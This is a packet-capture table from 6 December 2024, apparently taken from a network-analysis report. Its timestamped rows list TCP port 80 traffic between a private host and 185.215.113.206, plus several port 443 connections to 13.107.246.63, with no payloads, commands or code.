Dec 6, 2024 22:08:53.305013895 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.305030107 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.306279898 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.306298018 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.306309938 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.306348085 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.306385040 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.307401896 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.307414055 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.307712078 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.308584929 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.308631897 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.308641911 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.308681011 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.309834003 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.309844971 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.309891939 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.311069965 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.311080933 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.311090946 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.311115980 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.311139107 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.312273979 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.312289000 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.312347889 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.312515020 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.313477039 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.313489914 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.313527107 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.314745903 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.314760923 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.314796925 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.315901041 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.315917969 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.315948963 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.315973043 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.317126989 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.317138910 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.317147970 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.317174911 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.317198992 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.318259954 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.318305969 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.395343065 CET	443	49801	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:53.395876884 CET	49801	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:53.395908117 CET	443	49801	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:53.396369934 CET	49801	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:53.396375895 CET	443	49801	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:53.396526098 CET	443	49800	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:53.396771908 CET	49800	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:53.396800995 CET	443	49800	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:53.396869898 CET	443	49802	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:53.397128105 CET	49800	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:53.397135019 CET	443	49800	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:53.397330046 CET	49802	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:53.397336960 CET	443	49802	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:53.397666931 CET	49802	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:53.397675991 CET	443	49802	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:53.401911020 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.401962042 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.402194023 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.402242899 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.402734041 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.402770042 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.403295994 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.403332949 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.403816938 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.403856993 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.404243946 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.404282093 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.404880047 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.404937983 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.405503988 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.405514956 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.405540943 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.405586004 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.406691074 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.406702042 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.406728029 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.406752110 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.407898903 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.407915115 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.407937050 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.407960892 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.408818960 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.408840895 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.408857107 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.408889055 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.409826040 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.409840107 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.409871101 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.409894943 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.410980940 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.410993099 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.411026001 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.411160946 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.411930084 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.411942959 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.411972046 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.411998034 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.413039923 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.413053036 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.413079023 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.413099051 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.414144993 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.414156914 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.414187908 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.414211035 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.415249109 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.415260077 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.415292978 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.415322065 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.467757940 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.467840910 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.467983007 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.468024969 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.468374014 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.468414068 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.468767881 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.468808889 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.469063997 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.469104052 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.469521999 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.469562054 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.469916105 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.469953060 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.470371962 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.470416069 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.470798016 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.470840931 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.672983885 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:53.674434900 CET	443	49803	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:53.674484968 CET	443	49803	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:53.674539089 CET	49803	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:53.674784899 CET	49803	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:53.674818993 CET	443	49803	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:53.674834967 CET	49803	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:53.674840927 CET	443	49803	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:53.677732944 CET	49805	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:53.677773952 CET	443	49805	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:53.677849054 CET	49805	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:53.678006887 CET	49805	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:53.678020954 CET	443	49805	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:53.680263996 CET	443	49804	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:53.680326939 CET	443	49804	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:53.680373907 CET	49804	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:53.680516005 CET	49804	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:53.680530071 CET	443	49804	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:53.680541992 CET	49804	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:53.680548906 CET	443	49804	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:53.683065891 CET	49806	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:53.683085918 CET	443	49806	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:53.683135033 CET	49806	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:53.683265924 CET	49806	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:53.683278084 CET	443	49806	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:53.792807102 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:53.829940081 CET	443	49801	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:53.829992056 CET	443	49801	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:53.830060005 CET	49801	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:53.830343962 CET	49801	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:53.830368996 CET	443	49801	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:53.830388069 CET	49801	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:53.830393076 CET	443	49801	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:53.831199884 CET	443	49802	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:53.831254959 CET	443	49802	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:53.831301928 CET	49802	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:53.831439972 CET	49802	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:53.831473112 CET	443	49802	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:53.831485987 CET	49802	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:53.831491947 CET	443	49802	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:53.831988096 CET	443	49800	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:53.832035065 CET	443	49800	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:53.832082987 CET	49800	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:53.832658052 CET	49800	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:53.832663059 CET	443	49800	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:53.832680941 CET	49800	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:53.832684994 CET	443	49800	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:53.835226059 CET	49807	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:53.835268021 CET	443	49807	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:53.835328102 CET	49807	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:53.835370064 CET	49808	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:53.835391045 CET	443	49808	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:53.835442066 CET	49808	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:53.836695910 CET	49807	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:53.836714983 CET	443	49807	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:53.837050915 CET	49808	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:53.837064028 CET	443	49808	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:53.838675976 CET	49809	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:53.838699102 CET	443	49809	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:53.838756084 CET	49809	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:53.839092970 CET	49809	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:53.839103937 CET	443	49809	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:54.110626936 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.110832930 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.110901117 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.110965014 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.111306906 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.111323118 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.111349106 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.111368895 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.112205982 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.112263918 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.112601042 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.112653017 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.113075972 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.113086939 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.113131046 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.113907099 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.113959074 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.114337921 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.114388943 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.114798069 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.114809036 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.114849091 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.115674973 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.115726948 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.116082907 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.116131067 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.116555929 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.116566896 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.116666079 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.117400885 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.117449999 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.117836952 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.117883921 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.118314981 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.118326902 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.118366003 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.119159937 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.119209051 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.119601011 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.119645119 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.120079041 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.120090008 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.120135069 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.120906115 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.120974064 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.121334076 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.121376991 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.121812105 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.121823072 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.121860981 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.122663021 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.122715950 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.123075008 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.123121023 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.123553991 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.123564959 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.123601913 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.124411106 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.124458075 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.124846935 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.124895096 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.125330925 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.125343084 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.125372887 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.125390053 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.126164913 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.126214981 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.126605034 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.126647949 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.127007008 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.127060890 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.235244036 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.235373020 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.235518932 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.235764027 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.235914946 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.235961914 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.236289024 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.236336946 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.236500025 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.236546040 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.236979961 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.237025976 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.237363100 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.237407923 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.237780094 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.237826109 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.238238096 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.238282919 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.238679886 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.238725901 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.239100933 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.239147902 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.239603996 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.239650965 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.239980936 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.240025043 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.240406990 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.240457058 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.240847111 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.240890980 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.241297007 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.241342068 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.241719961 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.241832018 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.242178917 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.242224932 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.242614031 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.242661953 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.243060112 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.243108034 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.243520975 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.243570089 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.243917942 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.243966103 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.244357109 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.244406939 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.244800091 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.244852066 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.245279074 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.245326042 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.245678902 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.245888948 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.246166945 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.246220112 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.246540070 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.246592045 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.246985912 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.247042894 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.247409105 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.247468948 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.247853994 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.247908115 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.248296022 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.248358011 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.248740911 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.248789072 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.249190092 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.249238014 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.249639034 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.249686003 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.250072956 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.250118971 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.250510931 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.250560045 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.250962019 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:54.251009941 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:54.251379013 CET	80	49789	185.215.113.206	192.168.2.7
